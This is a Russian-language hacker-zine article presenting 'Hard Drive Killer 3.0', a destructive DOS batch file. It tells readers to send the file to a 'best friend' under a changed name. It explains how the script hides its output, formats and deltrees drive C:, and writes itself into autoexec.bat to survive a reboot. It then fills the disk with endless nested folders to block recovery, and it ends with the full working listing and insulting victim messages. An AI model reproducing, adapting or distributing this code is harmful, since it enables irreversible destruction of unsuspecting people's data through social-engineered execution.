div.main {margin-left: 20pt; margin-right: 20pt}HARD DRIVE KILLER VERSION 3.0
Известь и ржавчину - удалит без труда!
ИНСТРУКЦИЯ К ПРИМЕНЕНИЮ
Просто пошли файл hdk_v3.bat своему "лучшему другу" (типа,
баклану - бакланья смерть!)и попроси запустить его. Можно поменять
название. И все. Теперь жди, когда он начнет орать благим матом.
ОПИСАНИЕ РАБОТЫ
Прежде всего, этот батник предполагает, что у жертвы есть
работающий PC с диском c:.
Этот файл самым глобальным образом уничтожает данные на диске!
После выполнения этой batch-программы (далее буду именовать ее
просто программой) все данные диска Цэ: на любом ПиСи
форматируютсявытираются за несколько секунд (приблизительно 5-6
секунд). Просто чудо - гигабайты информации за несколько секунд!
Я уверен, что ты, вероятно, что-нибудь слышал о файле
autoexec.bat, который автоматически запускается при загрузке Dos
(перед запуском Форточек). Итак, этот лучший очиститель твердого
диска вставляет некоторые команды в autoexec.bat. Как только ты
запускаешь эту программу, она сразу же начинает губить жесткий диск.
Даже если что-то пойдет не так, например, злобный чайник выключит
свой ПиСюк, завидев странный черный экран без символов, и услышит
ровное журчание диска, программа все равно вставит нужные команды в
autoexec.bat, и после перезагрузки все пойдет своим чередом, и
процесс продолжится с того места, на каком остановился! Итак -
чайнику от нее не уйти!!! Будучи однажды запущенной, она
превращается в неизбежный факт, от которого не скрыться (...я ужас,
летящий на крыльях ночи...). Все будет сделано на совесть, и нет
таких средств, которые бы смогли восстановить информацию, которая
была на винте. Ты, конечно, скажешь: "А как же утилиты Петьки
Нортона?". И я отвечу - утилитки зашибись, но в данном случае Mr.
Norton может встать в позу речного скорпиона! Еще раз повторю, что
никакая утилита не сможет восстановить информацию, убиенную циклом,
который стоит после метки ":killfat". Как можно видеть, этот цикл
создает немереное количество директорий, поддиректорий,
подподдиректорий, создающихся одна в другой и т.д. с именем "Nasty",
а также файл с именем "yourgone.txt" с отчетом о проделанной работе
и соболезнованиями. Из-за того, что на месте уничтоженной информации
появляется другая с бесконечным циклом, всякие там унформаты с
энурезами ничего восстановить уже не смогут...
БОЛЕЕ ПОДРОБНОЕ ОПИСАНИЕ РАБОТЫ ПРОГРАММЫ
ДЛЯ ОСОБО ЛЮБОЗНАТЕЛЬНЫХ
Когда программа запускается, на мониторе появляется фраза:
"PLEASE WAIT WHILE PROGRAM LOADS ..." и ничего другого. Почему? Да
потому что существует такая замечательная вещь, как "NUL device".
Сей девайс физически нигде не присутствует на компьютере, не надо
разбирать корпус и распиливать микросхемы на мамке и видеокарточке в
поисках оного... Это такое хитрое виртуальное устройство, где
временно хранятся буковки и цифирки, после того как ты удаляешь их
клавишей BackSpace или Delete. Это место, откуда не возвращаются...
Итак, вместо вывода символов на экран мы отправляем их на "NUL
device" с помощью команды ">nul" в конце строки. После этого
никто не увидит того, что происходит в данный момент.
Теперь будем смотреть на внутренности нашей программы. Начинаем с
"настройки" autoexec'а. Прежде всего снимем атрибуты "скрытый" и
"только-для-чтения" с файла autoexec.bat, чтобы можно было без
проблем им манипулировать. Строка "echo format c: /q /u /autotest
>nul >c:autoexec.bat" весьма важна, она означает: все что
находится после слова "echo", должно быть выведено на экран. Но мы
перенаправляем вывод на экран в файл autoexec.bat. После чего он
будет содержать команду - "format c: /q /u /autotest >nul".
Команда "@echo off" в начале нашей программы просто не выводит на
экран результаты работы, а перенаправление на nul - сами команды (не
путать эти два понятия!). Это только начало "конфигурации"
autoexec'a. Примите к сведению, что "echo @echo off
>c:autoexec.bat" обнуляет autoexec для того чтобы в дальнейшем
программа стартовала безо всяких задержек. После чего наша программа
начинает вставлять свой код в "обновленный" autoexec. Этот процесс
займет пару секунд, в зависимости от скорости машины. Полностью
процесс работы программы занимает около пяти секунд, если работает
format. Если по какой-то причине на диске нет файла format.com, то
остается deltree, но это несколько дольше (несколько минут). Но я
уверен, что сработает format...
Если у жертвы кривые руки и в autoexec'e нет переменной PATH с
путем к format'у, то программа начинает поиск format'a в местах, где
наиболее часто встречаются его лежбища (c:dos для Windows 3.1 и
c:windowscommand для Windows 95/NT/98). После успешного поиска он
оттуда и будет запущен. Бросим глаз на пример. Скажем, метка
":dosform". Переход к этой метке произошел после метки ":form",
которая говорит: "если файл format.* существует в директории c:dos,
то иди к метке ":dosform". И команды, которые находятся под меткой
":dosform", считают, что файл format.* находится в Dos директории. И
так далее... Как видите, в программе несколько похожих ходов. После
обширного исследования ПиСюка "жертвы" программа вставляет свой код
полностью в autoexec.bat вместе с множеством "echo" команд.
Как можно заметить, в восьмой строке программы есть команда "echo
dummy variable >c:dvar.txt". Совершенно не важно, что будет
находиться в этом файле. Эта фиговина нужна лишь для того, чтобы
определить, был ли отформатирован винт или нет. То есть, если после
запуска программы она обнаруживает, что этот файл еще существует,
программа думает, что отработала формат (иначе его бы не было), :) и
после этого переходит к фазе "delete" (которая запускается строкой
"if exist dvar.txt goto dtree").
Немного о команде format. Свитч /q включает режим "быстрого"
форматирования, свитч /u включает "безусловный" формат (типа, без
вопросов), /h включат многозадачный режим (форматирование будет идти
в фоновом режиме) и, наконец - /autotest, включающий режим , когда
ПиCюк не спрашивает: "Ты уверен, что ты хочешь отформатировать
системный диск???".
На основе этой программы можно написать более мощную,
обрабатывающую не один диск. Также можно сделать "Вордовский"
макрос. Еще можно засунуть ее в самораспаковывающийся архив, который
будет ее запускать при запуске... Вариантов - тьма! Главное -
проявить больше фантазии...
А вот и листинг...
@echo off
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo call format c: /q /u /autotest >nul
>>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo dummy variable >c:dvar.txt
:form
call format c: /q /u /autotest >nul
if exist c:dosformat.* goto dosform
if exist c:windowscommandformat.* goto winform
goto de
:dosform
cddos >nul
call format c: /h /q /u /autotest >nul
cd >nul
:winform
cdwindowscommand >nul
call format c: /h /q /u /autotest >nul
cd >nul
goto inform
:de
if exist c:dvar.txt goto dtree
goto inform
:dtree
call deltree /y c: >nul
if exist c:dosdeltree.* goto deldos
if exist c:windowscommanddeltree.* goto delwin
goto inform
:deldos
cddos
call deltree /y c: >nul
cd
:delwin
cdwindowscommand >nul
call deltree /y c: >nul
cd >nul
:inform
cls
echo You have been hit by the Hard Drive Killer, written by Munga
Bunga >c:hdkiller.txt
echo HD Killer is a Munga Bunga Production.
>>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo Here is a message to all you butt lickers. . .
>>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo FREE KEVIN MITNIC [Munga Bunga]. >>c:hdkiller.txt
echo. >>c:hdkiller.txt
echo If you were destroyed by this HDkiller program, then you
would have >>c:hdkiller.txt
echo deserved it. Die you mother fu#$ers!!!!
>>c:hdkiller.txt
rem Последующий код переписывает файл autoexec.bat
echo @echo off >c:autoexec.bat
echo cls >>c:autoexec.bat
echo :form
echo call format c: /q /u /autotest >nul
>>c:autoexec.bat
echo if exist c:dosformat.* goto dosform
>>c:autoexec.bat
echo if exist c:windowscommandformat.* goto winform
>>c:autoexec.bat
echo goto de >>c:autoexec.bat
echo :dosform >>c:autoexec.bat
echo cddos >nul >>c:autoexec.bat
echo call format c: /q /u /autotest >nul
>>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo :winform >>c:autoexec.bat
echo cdwindowscommand >nul >>c:autoexec.bat
echo call format c: /q /u /autotest >nul
>>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo goto write >>c:autoexec.bat
echo :de >>c:autoexec.bat
echo if exist c:dvar.txt goto dtree >>c:autoexec.bat
echo goto write >>c:autoexec.bat
echo :dtree >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo if exist c:dosdeltree.* goto deldos
>>c:autoexec.bat
echo if exist c:windowscommanddeltree.* goto delwin
>>c:autoexec.bat
echo :deldos >>c:autoexec.bat
echo cddos >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo :delwin >>c:autoexec.bat
echo cdwindowscommand >nul >>c:autoexec.bat
echo call deltree /y c: >nul >>c:autoexec.bat
echo cd >nul >>c:autoexec.bat
echo :write >>c:autoexec.bat
echo type hdkiller.txt >>c:autoexec.bat
echo c: >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo :nasty >>c:autoexec.bat
echo md nasty >>c:autoexec.bat
echo cd nasty >>c:autoexec.bat
echo echo You're Gone @$$ hole!!!! >yourgone.txt
>>c:autoexec.bat
echo goto nasty >>c:autoexec.bat
echo pause >>c:autoexec.bat
rem Перепись файла autoexec.bat закончена.
c: >nul
cd >nul
:killfat
md nasty >nul
cd nasty >nul
echo You're Gone ass hole!!!! >yourgone.txt >nul
goto killfat
:end
|